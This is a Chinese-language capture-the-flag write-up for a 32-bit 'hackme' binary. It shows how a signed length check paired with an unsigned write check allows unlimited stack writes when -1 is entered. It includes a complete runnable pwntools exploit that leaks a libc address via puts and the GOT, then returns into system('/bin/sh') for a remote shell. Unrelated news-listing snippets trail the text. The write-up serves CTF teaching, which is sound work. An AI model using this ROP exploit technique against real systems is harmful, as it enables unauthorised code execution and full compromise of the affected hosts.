scanf(“%d“)输入绕过+整数溢出
hackme 详细题解靶机地址https://ctf2.dasctf.com/dashboard/practice/b9bbb32f-f186-458f-b90b-12440c0f6aea?tabchallenges通过网盘分享的文件3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17链接: https://pan.baidu.com/s/1tH7dYlZh64G1lld_9xmBEQ?pwdneuq 提取码: neuq环境是libc-2.23.so(32bit),这个就自己去找一下1. 文件识别与保护机制文件3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17是一个无后缀的 32 位 Linux ELF 可执行文件$ file 3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped关键保护保护状态说明PIE关闭ELF type 为 ET_EXEC基址固定为0x08048000程序内地址可直接写死Canary无没有导入__stack_chk_fail函数帧中也没有 canary 校验NX开启PT_GNU_STACKflags 6RW无 X栈不可执行RELROPartial.got.plt0x0804c000起仍可写因此本题走“栈溢出 ROP”不需要绕过 canary也不需要处理 PIE。2. IDA 逆向流程用 IDA 打开文件选择 32 位 ELF loader。在 Functions 窗口找到main0x08049408和hackme0x08049216。在hackme上按 F5 得到 Hex-Rays 伪代码或对照反汇编。重点看两个比较长度检查0x08049262cdq; xor eax,edx; sub eax,edx是在算abs(n)。写入检查0x08049310cmp [ebp-0x14], eax; jae是无符号比较。main只做初始化intmain(){setbuf(stdout,0);setbuf(stderr,0);setbuf(stdin,0);hackme();return0;}hackme的逻辑按反汇编还原voidhackme(){intn,choice,i;unsignedintcount0;intsum0;intarr[10];puts(input the length of array:);scanf(%d,n);if(abs(n)10){puts(array is too long!);exit(0);}while(1){puts(\n\n----------------------------------------------------);puts(choice:\n1.add num\n2.get sum\n3.get avg\n4.exit);puts(----------------------------------------------------\n);puts(input your choice:);scanf(%d,choice);if(choice1){if((unsignedint)count(unsignedint)n){puts(input num);scanf(%d,arr[count]);count;}else{puts(array is too long!);exit(0);}}elseif(choice2){sum0;for(i0;icount;i)sumarr[i];printf(sum %d\n,sum);}elseif(choice3){if(count)printf(avg %d\n,sum/count);elseputs(no avg!);}else{puts(exit!);return;}}}3. 漏洞点符号/无符号检查不一致长度检查是有符号的abs(n) 10所以n -1也能通过08049262 mov eax, [ebp-0x1C] ; n 08049265 cdq 08049266 xor eax, edx 08049268 sub eax, edx ; eax abs(n) 0804926A cmp eax, 0xA 0804926D jle short loc_804928B ; abs(n) 10 继续但写入时的检查却是无符号比较0804930D mov eax, [ebp-0x1C] ; n 08049310 cmp [ebp-0x14], eax ; count vs n 08049313 jae short loc_804934E ; (unsigned)count (unsigned)n - 报错退出当n -1时(unsigned int)n 0xFFFFFFFF而count从 0 开始递增永远满足count n。于是“1.add num”可以无限次向栈上连续写入 4 字节整数覆盖返回地址并布置 ROP。写入地址的计算是lea eax, [ebp-0x44] ; arr 基址 shl edx, 2 ; count * 4 add eax, edx ; arr[count]即arr[count]实际写的是ebp - 0x44 count * 4。4. 栈布局与偏移hackme栈帧从ebp-0x44开始布局写入次数相对 ebp内容0…9ebp-0x44…ebp-0x20arr[0]…arr[9]10ebp-0x1Cn11ebp-0x18choice12ebp-0x14count13ebp-0x10i14ebp-0x0Csum15ebp-0x08对齐/未使用16ebp-0x04saved ebx17ebp0x00saved ebp18ebp0x04返回地址19ebp0x08ROP 下一项第一次为 puts 的返回地址20ebp0x0CROP 参数第一次为 puts 的参数也就是说第 19 次add num写入的就是hackme的返回地址之后继续写入的内容会组成 ROP 链。5. 利用思路固定地址无 PIE已从 IDA/ELF 确认符号地址putsplt0x080490C0putsgot0x0804C014hackme0x08049216main0x08049408流程第一次溢出把返回地址改成putsplt栈上依次放main和putsgot执行puts(putsgot)泄漏 libc 中puts的真实地址然后回到main重新进入hackme。BUUCTF 远程使用固定的 libc6-i386 2.27直接按固定偏移计算libc_base puts_addr - 0x67560system libc_base 0x3cf10/bin/sh libc_base 0x17b9db。第二次溢出ROP 到system(/bin/sh)拿到 shell。payload 结构先输入长度-1n保持为 -1。连续add(-)18 次把count从 0 推到 18。scanf(%d)遇到单独的-时会把它作为整数符号前缀消费掉但转换失败、不写入数组count仍会执行因此第 10 个槽位n不会被覆盖。再依次 add 3 个值putsplt、main、putsgot正好落在返回地址、puts 的返回地址、puts 的参数这三个槽位。注意scanf(%d, ...)接收的是有符号十进制整数而地址是 32 位无符号值。大于0x80000000的地址要先转成有符号数再发送addr - 0x100000000等价于struct.pack/struct.unpack的写法。6. 完整 Exploit以下脚本直接面向 BUUCTF 远程node4.buuoj.cn:29862libc6-i386 2.27和write_up.py一致可以直接跑通。本地调试时需要先patchelf绑定题目给的ld-2.27.so和libc-2.27.so并把local改为 1。#!/usr/bin/env python3frompwnimport*context.archi386context.log_leveldebugBIN./pwnpremote(17039d025c2fa987215743cd.tcp-ctf2.dasctf.com,9999,sslTrue)elfELF(BIN)menubinput your choice:\ndefadd(v):p.sendlineafter(menu,b1)p.sendlineafter(binput num\n,v.encode())p.sendlineafter(binput the length of array:\n,b-1)# 18 个 -scanf 消费掉 - 但转换失败不写数组只把 count 推到 18# n 保持 -1之后 3 个值正好是返回地址、下一跳、参数。for_inrange(18):add(-)add(str(elf.plt[puts]))add(str(0x08049408))# mainleak 后干净地重新进入 hackmeadd(str(elf.got[puts]))p.sendlineafter(menu,b4)p.recvline()# exit!leaku32(p.recv(4))puts_addrleak log.success(puts: %#x,puts_addr)libc_baseputs_addr-0x67560systemlibc_base0x3cf10bin_shlibc_base0x17b9dblog.success(libc: %#x, system: %#x, /bin/sh: %#x,libc_base,system,bin_sh)p.sendlineafter(binput the length of array:\n,b-1)for_inrange(18):add(-)add(str(system-0x100000000))add(str(0x08049408))# system 返回后的占位地址无实际作用add(str(bin_sh-0x100000000))p.sendlineafter(menu,b4)p.interactive()运行python3 hackme_writeup.py本地调试时先对二进制做 patchelfpatchelf --set-interpreter ./ld-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b17 patchelf --add-needed ./libc-2.27.so ./3a795fc914db6935a6b2efa899ee820fcbfe67d56e9da72a9cda7ace13e54b177. 关键点总结漏洞本质是abs(n) 10的有符号长度检查与jae无符号写入检查不一致。传入n -1后(unsigned)n 0xFFFFFFFF边界检查永远不触发获得任意长度的栈连续写。无 canary、无 PIE可以直接覆盖返回地址做 ROP。NX 开启所以不用 shellcode而是先puts(putsgot)泄漏 libc再system(/bin/sh)。填充用 18 个-scanf(%d)消费-但转换失败不覆盖n只推进count。leak 后回main重新进入hackme栈对齐和缓冲状态更干净。

相关新闻

如何快速上手SPT-AKI存档编辑器:离线版《逃离塔科夫》终极修改指南

如何快速上手SPT-AKI存档编辑器:离线版《逃离塔科夫》终极修改指南

如何快速上手SPT-AKI存档编辑器:离线版《逃离塔科夫》终极修改指南 【免费下载链接】SPT-AKI-Profile-Editor Программа для редактирования профиля игрока на сервере SPT-AKI 项目地址: https://gitcode.com/…

2026/8/3 13:13:17 阅读更多 →
AI法律咨询产品上线前必须通过的9项GDPR+《生成式AI服务管理暂行办法》双审清单

AI法律咨询产品上线前必须通过的9项GDPR+《生成式AI服务管理暂行办法》双审清单

更多请点击: https://intelliparadigm.com 第一章:AI法律咨询产品上线前必须通过的9项GDPR《生成式AI服务管理暂行办法》双审清单 在欧盟与中国的双重合规框架下,AI法律咨询产品上线前需同步满足GDPR第6、17、22条及我国《生成式AI服务管理暂…

2026/8/3 13:13:17 阅读更多 →
Linux软链接安全删除指南:原理、命令与避坑实践

Linux软链接安全删除指南:原理、命令与避坑实践

1. 从一次“误删”事故说起:为什么软链接删除值得单独讨论 那天下午,我正忙着清理一个积压了半年的项目目录。这个目录里塞满了各种构建产物、临时文件和符号链接。为了图快,我习惯性地在终端里敲下了 rm -rf ./build/* ,想着把…

2026/8/3 13:13:17 阅读更多 →

最新新闻

三步完成B站视频下载:从大会员4K到离线观看的完整指南

三步完成B站视频下载:从大会员4K到离线观看的完整指南

三步完成B站视频下载:从大会员4K到离线观看的完整指南 【免费下载链接】bilibili-downloader B站视频下载,支持下载大会员清晰度4K,持续更新中 项目地址: https://gitcode.com/gh_mirrors/bil/bilibili-downloader 你是否经常遇到网络…

2026/8/3 13:43:34 阅读更多 →
XMLView:让XML文档阅读体验提升500%的浏览器扩展神器

XMLView:让XML文档阅读体验提升500%的浏览器扩展神器

XMLView:让XML文档阅读体验提升500%的浏览器扩展神器 【免费下载链接】xmlview Powerful XML viewer for Google Chrome and Safari 项目地址: https://gitcode.com/gh_mirrors/xm/xmlview 你是否曾面对层层嵌套的XML文档感到无从下手?当浏览器将…

2026/8/3 13:43:34 阅读更多 →
ITIL4框架下的运维管理变革与实战指南

ITIL4框架下的运维管理变革与实战指南

1. ITIL4时代:运维管理的新规则手册当我在去年第一次接触ITIL4框架时,那种感觉就像拿到了一本全新的游戏攻略——熟悉的界面下藏着完全不同的玩法逻辑。作为在传统ITSM领域摸爬滚打十年的老兵,我亲眼见证了从ITIL v3到ITIL4的转变如何重塑运维…

2026/8/3 13:43:34 阅读更多 →
如何轻松下载国家中小学智慧教育平台电子课本?免费工具帮你一键获取PDF文件!

如何轻松下载国家中小学智慧教育平台电子课本?免费工具帮你一键获取PDF文件!

如何轻松下载国家中小学智慧教育平台电子课本?免费工具帮你一键获取PDF文件! 【免费下载链接】tchMaterial-parser 国家中小学智慧教育平台 电子课本下载工具,帮助您从智慧教育平台中获取电子课本的 PDF 文件网址并进行下载,让您更…

2026/8/3 13:43:34 阅读更多 →
RE-UE4SS完全指南:掌握Unreal Engine游戏脚本开发的终极工具

RE-UE4SS完全指南:掌握Unreal Engine游戏脚本开发的终极工具

RE-UE4SS完全指南:掌握Unreal Engine游戏脚本开发的终极工具 【免费下载链接】RE-UE4SS Injectable LUA scripting system, SDK generator, live property editor and other dumping utilities for UE4/5 games 项目地址: https://gitcode.com/gh_mirrors/re/RE-U…

2026/8/3 13:43:34 阅读更多 →
UE4SS终极指南:无需源码的Unreal Engine游戏修改与脚本开发平台

UE4SS终极指南:无需源码的Unreal Engine游戏修改与脚本开发平台

UE4SS终极指南:无需源码的Unreal Engine游戏修改与脚本开发平台 【免费下载链接】RE-UE4SS Injectable LUA scripting system, SDK generator, live property editor and other dumping utilities for UE4/5 games 项目地址: https://gitcode.com/gh_mirrors/re/R…

2026/8/3 13:42:33 阅读更多 →

日新闻

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南

3个让你工作效率翻倍的Umi-OCR实战技巧:免费离线文字识别完全指南 【免费下载链接】Umi-OCR OCR software, free and offline. 开源、免费的离线OCR软件。支持截屏/批量导入图片,PDF文档识别,排除水印/页眉页脚,扫描/生成二维码。…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

[具身智能-181]:PC+服务器+具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构

PC服务器具身机器人:构建具身智能从仿真到量产的闭环迭代混合架构一、前言:具身智能需要“混合算力闭环系统”传统人工智能依赖云端静态数据集训练,不具备物理交互能力,无法适应真实世界的不确定性。具身智能(Embodied…

2026/8/3 0:00:47 阅读更多 →
[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

[具身智能-181]:大分布式通信模型对比:看懂为什么 DDS 是 ROS2 底层通信最优解

前言构建机器人、具身智能这类分布式实时系统,通信底座直接决定整套系统的实时性、容错性、组网能力。分布式领域长期存在 4 类经典通信架构:点对点模式、Broker 中间代理模式、广播模式、以数据为中心(DDS)模式。很多开发者疑惑&…

2026/8/3 0:00:47 阅读更多 →

周新闻

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

最大流算法详解:从水管网络到Ford-Fulkerson与Dinic实战

1. 从水管网络到最大流:一个核心问题的诞生想象一下,你是一个城市供水系统的总工程师。你的城市有多个水源(水库),需要通过一个复杂的地下管道网络,将水输送到各个居民区。每条管道都有其最大通水能力&…

2026/8/3 4:58:13 阅读更多 →
基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

基于Springboot的企业门户网站(源码+LW+调试文档+讲解)

温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:本人主页置顶文章(点我)开头有 CSDN 平台…

2026/8/3 1:53:31 阅读更多 →
MATLAB xcorr函数详解:从互相关原理到四大实战应用

MATLAB xcorr函数详解:从互相关原理到四大实战应用

1. 从一次信号“找茬”说起:为什么我们需要互相关几年前,我在处理一组声学传感器数据时遇到了一个棘手的问题。我有两个麦克风记录了一段相同的音频信号,理论上它们接收到的声音波形应该非常相似,只是由于麦克风位置不同&#xff…

2026/8/3 4:36:35 阅读更多 →

月新闻

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南

免费解锁百度网盘SVIP加速:macOS用户必备的下载提速终极指南 【免费下载链接】BaiduNetdiskPlugin-macOS For macOS.百度网盘 破解SVIP、下载速度限制~ 项目地址: https://gitcode.com/gh_mirrors/ba/BaiduNetdiskPlugin-macOS 还在为百度网盘macOS版的龟速下…

2026/8/3 13:07:03 阅读更多 →
终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换

终极ncmdump指南:3分钟实现网易云NCM音乐解密与格式转换 【免费下载链接】ncmdump 项目地址: https://gitcode.com/gh_mirrors/ncmd/ncmdump 还在为网易云音乐下载的NCM格式文件无法在其他播放器播放而烦恼吗?ncmdump解密工具帮你轻松解决这个困…

2026/8/3 5:19:38 阅读更多 →
HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

HarmonyOS 应用开发《掌上英语》第81篇: 智能体卡片:为英语学习 App 打造桌面级学习助手

AgentCard 智能体卡片:为英语学习 App 打造桌面级学习助手适用平台:HarmonyOS 7.0 (API 26 Beta)一、引言 HarmonyOS 7.0(API 26 Beta)新增了 AgentCard 智能体卡片能力,这是继 HMAF(鸿蒙智能体框架&#x…

2026/8/3 8:27:36 阅读更多 →